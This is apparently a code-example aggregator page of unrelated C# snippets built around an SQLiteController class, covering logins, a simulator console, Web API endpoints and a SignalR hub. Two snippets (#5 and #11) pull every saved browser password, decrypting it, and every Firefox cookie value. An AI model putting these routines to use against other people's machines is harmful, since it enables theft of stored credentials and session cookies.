Beispiel #1
0
        private void SetCommands()
        {
            this.SignInCommand = new Command(async() =>
            {
                try
                {
                    if (this._findieWebApiService.IsUserExists(this._loginModel.Username, this._loginModel.Password))
                    {
                        using (var controller = new SQLiteController())
                        {
                            controller.AddLoginData(this._loginModel.Username, this._loginModel.Password);
                            Application.Current.MainPage = new MainPage();
                        }
                    }
                    else
                    {
                        await this._showDialogService.ShowDialog(AppResources.Error, AppResources.LoginErrorMessage);
                    }
                }
                catch (Exception ex)
                {
                    await this._showDialogService.ShowDialog(AppResources.Error, AppResources.ConnectionErrorMessage);
                }
            });

            this.SignUpCommand = new Command(async() =>
            {
                await this._navigation.PushModalAsync(new RegisterPage());
            });
        }
Beispiel #2
0
        private void deleteSimBTN_Click(object sender, EventArgs e)
        {
            SQLiteController sql = new SQLiteController();

            sql.DeleteSim(sim.MacAddress);
            cw.RemoveSimObject(sim);
        }
        /////////////// Initialize window
        public ConsoleWindow()
        {
            InitializeComponent();
            if (!LocalUserSession.LoggedIn)
            {
                // User not logged in, display login window instead
            }
            else
            {
                // Initialize the server components
                nt = new NetworkUtility(commPort, null);
                nt.StartServer();
                nt.ClientConnect += OnClientConnectedEvent;
                //nt.Cmd.SimUpdateEvent += OnSimUpdateEvent;
                //nt.CmdAdmin.SimUpdateEvent += OnSimUpdateEvent;

                db = new SQLiteController();
                bs = db.PullBusinessSettings();
                SetTheme();

                systemClock = new Thread(() => RunClock());
                //RunLockoutTimerThread();

                consoleAreaPanel.Click += ((sender, e) => consoleAreaPanel.Focus());
                UpdateUser();

                contextMenuStrip1.Closed     += ((sender, e) => profileVisible = false);
                consoleAreaPanel.SizeChanged += InitialSimDisplayLoad;
                systemClock.Start();
            }
        }
Beispiel #4
0
 public void PostTimeEventSpanList([FromBody] Fantik list)
 {
     SQLiteController.Init();
     foreach (var lis in list.list)
     {
         SQLiteController.Insert(lis);
     }
 }
Beispiel #5
0
        public static List <RecoveredAccount> Passwords(string datapath, string browser)
        {
            List <RecoveredAccount> data        = new List <RecoveredAccount>();
            SQLiteController        SQLDatabase = null;

            if (!File.Exists(datapath))
            {
                return(data);
            }

            try
            {
                SQLDatabase = new SQLiteController(datapath);
            }
            catch (Exception)
            {
                return(data);
            }

            if (!SQLDatabase.ReadTable("logins"))
            {
                return(data);
            }

            string host;
            string user;
            string pass;
            int    totalEntries = SQLDatabase.GetRowCount();

            for (int i = 0; i < totalEntries; i++)
            {
                try
                {
                    host = SQLDatabase.GetValue(i, "origin_url");
                    user = SQLDatabase.GetValue(i, "username_value");
                    pass = Decrypt(SQLDatabase.GetValue(i, "password_value"));

                    if (!String.IsNullOrEmpty(host) && !String.IsNullOrEmpty(user) && pass != null)
                    {
                        data.Add(new RecoveredAccount
                        {
                            URL         = host,
                            username    = user,
                            password    = pass,
                            application = browser
                        });
                    }
                }
                catch (Exception)
                {
                    // TODO: Exception handling
                }
            }

            return(data);
        }
 public LockWindowLocal(ConsoleWindow cw)
 {
     InitializeComponent();
     this.cw = cw;
     db      = new SQLiteController();
     bs      = db.PullBusinessSettings();
     SetTheme();
     passwordTB.KeyDown += KeyDownHandler;
     usernameLBL.Text    = username.ToUpper();
 }
Beispiel #7
0
        public UserLocalInfo GetLocalUserInfo()
        {
            using (var controller = new SQLiteController())
            {
                var table = controller._sqLiteConnection.Table <UserLocalInfo>();

                UserLocalInfo user = (from account in table select account).FirstOrDefault();
                return(user);
            }
        }
 public MainPage()
 {
     this.InitializeComponent();
     //Assing instances to Variables
     scoreController  = new ScoreController();
     sqliteController = new SQLiteController();
     //Create listeners for Menu Buttons
     this.btnStart.Tapped  += BtnStart_Tapped;
     this.btnScores.Tapped += BtnScores_Tapped;
     this.btnExit.Tapped   += BtnExit_Tapped;
 }
Beispiel #9
0
 public SimulatorsWindowMain(Dictionary <string, Simulator> sims, ConsoleWindow cw, int windowWidth)
 {
     InitializeComponent();
     db                 = new SQLiteController();
     bs                 = db.PullBusinessSettings();
     origin             = cw;
     simulators         = sims;
     consoleWindowWidth = windowWidth;
     CalculateMaxCount();
     GenerateSimPanels();
 }
Beispiel #10
0
        public void SaveHTMLPostion(string computerID, string pluginGuid, int posTop, int posLeft)
        {
            if (string.IsNullOrWhiteSpace(computerID) || string.IsNullOrWhiteSpace(pluginGuid))
            {
                return;
            }

            //var machineID = _sqlController.GetMachineID(computerID);
            SQLiteController s = new SQLiteController();

            s.SaveHTMLPosition(computerID, pluginGuid, posTop, posLeft);
            //_sqlController.SaveHTMLPosition(computerID, pluginGuid, posTop, posLeft);
        }
Beispiel #11
0
        /// <summary>
        /// Recover Firefox Cookies from the SQLite3 Database
        /// </summary>
        /// <returns>List of Cookies found</returns>
        public static List <FirefoxCookie> GetSavedCookies()
        {
            List <FirefoxCookie> data = new List <FirefoxCookie>();
            SQLiteController     sql  = new SQLiteController(firefoxCookieFile.FullName);

            if (!sql.ReadTable("moz_cookies"))
            {
                throw new Exception("Could not read cookie table");
            }

            int totalEntries = sql.GetRowCount();

            for (int i = 0; i < totalEntries; i++)
            {
                try
                {
                    string h = sql.GetValue(i, "host");
                    //Uri host = new Uri(h);
                    string name = sql.GetValue(i, "name");
                    string val  = sql.GetValue(i, "value");
                    string path = sql.GetValue(i, "path");

                    bool secure = sql.GetValue(i, "isSecure") == "0" ? false : true;
                    bool http   = sql.GetValue(i, "isSecure") == "0" ? false : true;

                    // if this fails we're in deep shit
                    long     expiryTime  = long.Parse(sql.GetValue(i, "expiry"));
                    long     currentTime = ToUnixTime(DateTime.Now);
                    DateTime exp         = FromUnixTime(expiryTime);
                    bool     expired     = currentTime > expiryTime;

                    data.Add(new FirefoxCookie()
                    {
                        Host       = h,
                        ExpiresUTC = exp,
                        Expired    = expired,
                        Name       = name,
                        Value      = val,
                        Path       = path,
                        Secure     = secure,
                        HttpOnly   = http
                    });
                }
                catch (Exception)
                {
                    return(data);
                }
            }
            return(data);
        }
Beispiel #12
0
        public void Configuration(IAppBuilder app)
        {
            var hubConfiguration  = new HubConfiguration();
            var sqlLiteController = new SQLiteController();

            hubConfiguration.EnableDetailedErrors    = true;
            hubConfiguration.EnableJavaScriptProxies = true;
            app.MapSignalR(hubConfiguration);

            sqlLiteController.CreateDbFile();
            sqlLiteController.CreateTables();
            sqlLiteController.InitPlugins();
            MessageController.StartMessageThread();
        }
Beispiel #13
0
 public void SendPluginOutput(ClientOutput clientOutput)
 {
     _sqlController = new SQLiteController();
     if (clientOutput.InitPost)
     {
         Groups.Add(Context.ConnectionId, "Agents");
         _sqlController.SaveBasicInfo(clientOutput);
         MessageController.LoadTreeView();
     }
     else
     {
         _sqlController.JSONToSQL(clientOutput);
     }
 }
Beispiel #14
0
 public int PostLogin([FromBody] string value)
 {
     SQLiteController.Init();
     if (SQLiteController.CheckUser(value))
     {
         return(SQLiteController.SelectUser().Where(x => x.UserName == value).FirstOrDefault().Id);
     }
     else
     {
         SQLiteController.Insert(new UserSpan {
             UserName = value
         });
         return(SQLiteController.SelectUser().Where(x => x.UserName == value).FirstOrDefault().Id);
     }
 }
Beispiel #15
0
        public IEnumerable <TimeEventSpanJSON> GetTimeEventSpanList(int id)
        {
            SQLiteController.Init();
            var events = SQLiteController.SelectEvent(id);
            IEnumerable <TimeEventSpanJSON> retEvents = events.Select(x => new TimeEventSpanJSON
            {
                UserId    = x.UserId,
                Color     = x.Color,
                EventName = x.EventName,
                UserName  = x.UserName,
                Begin     = SQLiteController.DateTimeToString(x.Begin),
                End       = SQLiteController.DateTimeToString(x.End)
            });

            return(retEvents);
        }
        public LoginWindowLocal(ConsoleWindow cw)
        {
            InitializeComponent();
            this.cw = cw;
            try
            {
                db = new SQLiteController();
                bs = db.PullBusinessSettings();
                SetTheme();
                this.ActiveControl  = usernameTB;
                usernameTB.KeyDown += KeyDownHandler;
                passwordTB.KeyDown += KeyDownHandler;

                passwordTB.GotFocus += ((sender, e) => ClearField(passwordTB));
            } catch (FileNotFoundException f)
            {
                Console.WriteLine("FNFE: " + f.Message + "; " + f.StackTrace);
            }
        }
Beispiel #17
0
        public SettingsWindow(ConsoleWindow cw)
        {
            InitializeComponent();
            origin = cw;

            db = new SQLiteController();
            bs = db.PullBusinessSettings();
            SetTheme();
            sims = db.AllExistingSims();
            SetSelectedTab(simSettingsTab, simSettingsTabBtn);
            selectSimDropdown.SelectedIndexChanged += SelectSimFromDropdown;
            PopulateSimDropdown();

            PopulateCurrentPriceOptions();

            EstablishBusinessSettings();
            businessSettingsTab.Click += ((sender, e) => businessSettingsTab.Focus());

            EstablishUserManagement();
        }
Beispiel #18
0
        public async Task Logout()
        {
            var uri = $"{baseUri}api/user/Account/Logout";

            using (var myClient = new HttpClient())
            {
                myClient.DefaultRequestHeaders.Authorization = new AuthenticationHeaderValue("bearer", CrossSecureStorage.Current.GetValue("Token"));
                var response = await myClient.GetAsync(uri);

                if (response.IsSuccessStatusCode)
                {
                    CrossSecureStorage.Current.DeleteKey("Token");

                    using (var controller = new SQLiteController())
                    {
                        controller.DeleteUserFromLocalDb();
                    }
                }
            }
        }
Beispiel #19
0
        public NewSessionWindow(Simulator s, ConsoleWindow cw)
        {
            InitializeComponent();
            db      = new SQLiteController();
            this.cw = cw;
            SetTheme();

            sessionRunning = s.TM.SessionRunning;
            sessionPaused  = s.TM.IsPaused;
            sim            = s;
            CheckOnlineStatus();
            CheckRunningSession();
            tabControl1.Appearance = TabAppearance.FlatButtons;
            tabControl1.ItemSize   = new Size(0, 1);
            tabControl1.SizeMode   = TabSizeMode.Fixed;
            SetSelectedTab(sessionTab, sessionBTN);

            setDurationRBTN.CheckedChanged      += ((sender, e) => CheckTypeSelected());
            priceOptionsDD.SelectedIndexChanged += ((sender, e) => PriceOptionSelectedChanged());
            PopulatePricingOptions(0);
            sessionTab.Click    += ((sender, e) => sessionTab.Focus());
            hoursTB.LostFocus   += hoursTB_LostFocus;
            minutesTB.LostFocus += minutesTB_LostFocus;
        }
 public string PostTimeEventSpan([FromBody] TimeEventSpan value)
 {
     SQLiteController.Init();
     SQLiteController.Insert(value);
     return("jrtq");
 }
Beispiel #21
0
 public MonitoringHub()
 {
     _connections   = new List <HubCallerContext>();
     _sqlController = new SQLiteController();
 }